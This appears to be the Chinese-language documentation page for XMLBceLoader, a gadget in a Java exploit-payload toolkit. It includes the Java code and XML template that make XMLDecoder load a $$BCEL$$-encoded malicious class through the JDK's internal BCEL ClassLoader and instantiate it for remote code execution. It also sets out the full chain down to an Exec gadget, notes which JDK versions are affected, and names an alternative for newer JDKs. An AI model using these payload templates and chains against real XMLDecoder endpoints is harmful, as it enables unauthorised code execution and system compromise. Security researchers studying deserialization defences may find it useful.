Skip to content

Latest commit

 

History

History
57 lines (46 loc) · 3.95 KB

File metadata and controls

57 lines (46 loc) · 3.95 KB

BCEL 加载字节码(XMLBceLoader)

  • 类别:xml 别名:— 优先级:—
  • 作者:—
  • 依赖jdk(依赖 JDK 内置的 com.sun.org.apache.bcel.internal.util.ClassLoader

作用

生成一段 XMLDecoder XML,令目标用 JDK 内置的 BCEL ClassLoader.loadClass() 解码并加载一个 $$BCEL$$... 编码的恶意类,再 newInstance() 触发其静态/构造逻辑。这是 XMLDecoder 面向「字节码执行」的加载器 sink:本 gadget 只负责套模板,真正的 BCEL 字符串由内层 gadget 提供。

链接标签

  • 入口 tagsXMLDecoderPayload —— 承接 XMLDecoder Payload 入口。
  • 衔接 nextTagsBCEL_Expr —— 之后需向内接一个「产出 BCEL 编码字符串」的 gadget(本库中即 BcelConvert,其 tagsBCEL_Expr)。
  • excludes:无。
  • 注意本 gadget 不带 END:它必须与内层字节码链组合才成完整链。

源码剖析

与前几个纯 sink 不同,本类会 chain.doCreate 取内层产物:

public static String template =
    "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<java>\n"
  + "   <void class =\"com.sun.org.apache.bcel.internal.util.ClassLoader\">\n"
  + "       <void method=\"loadClass\">           <string><![CDATA[%s]]></string>\n"
  + "           <void method=\"newInstance\"></void>\n"
  + "       </void>\n"
  + "   </void>\n</java>\n";

public String getObject(String bcel) {
    return String.format(template, bcel);         // 把内层给的 BCEL 串填进 loadClass 参数
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject((String) chain.doCreate(context));  // 内层产物是一个 BCEL 字符串
}

模板语义(XMLDecoder 解析时的行为):

  • <void class="com.sun.org.apache.bcel.internal.util.ClassLoader"> —— 实例化 BCEL 类加载器。
  • <void method="loadClass"><string><![CDATA[$$BCEL$$...]]></string> —— 调用 loadClass("$$BCEL$$...")。BCEL ClassLoader 对以 $$BCEL$$ 前缀的类名会把后续内容当作压缩编码的字节码就地解码并 defineClass
  • <void method="newInstance"/> —— 对加载出的 Class 调用 newInstance(),执行其无参构造/静态块中的恶意逻辑(通常是 TemplatesImpl 式 evil 类,构造即 RCE)。

链构建(内→外)XMLBceLoader → BcelConvert → BytecodeConvert → ExecExec 产出 ProcessBuilder 字节码 → BytecodeConvertbyte[]BcelConvert 把字节码编码为 $$BCEL$$... 字符串(nextTags=BytecodeConvertTag,故其内层接字节码)→ XMLBceLoader 把该串套进 loadClass 模板。

参数(@Param)

本类无 @Param,唯一变量 bcel 由内层 gadget 通过 chain.doCreate 注入。

适用版本与原理要点

  • 依赖 com.sun.org.apache.bcel.internal.util.ClassLoader——该内置 BCEL 在 JDK ≤ 8 完整可用;JDK 9+ 起 com.sun.org.apache.bcel.internal 随模块化被隐藏/移除,$$BCEL$$ 加载普遍失效。故本 sink 主要针对 JDK 8 及更低环境。
  • 优点:BCEL 字符串是纯文本,天然适合塞进 XML <![CDATA[]]>,规避二进制字节码在 XML 中的转义问题。
  • 若目标为高版本 JDK,改用 XMLJdkDefineClass(走 ClassLoader.defineClass 反射,不依赖 BCEL)。

所属预设链

自由构件,未直接出现在预设链中(usedInChains 为空);实战按 XMLBceLoader → BcelConvert → BytecodeConvert → Exec 自由组合。

关联

  • 内层(nextTags=BCEL_Expr):BcelConvert → 再内层 BytecodeConvertExec
  • 同族 XMLDecoder 字节码加载 sink:XMLJdkDefineClassdefineClass 路线)、XMLJsLoader(脚本引擎路线)。
  • 上游:XMLDecoder Payload 入口 / SpringBeanXMLDecoderClassLoader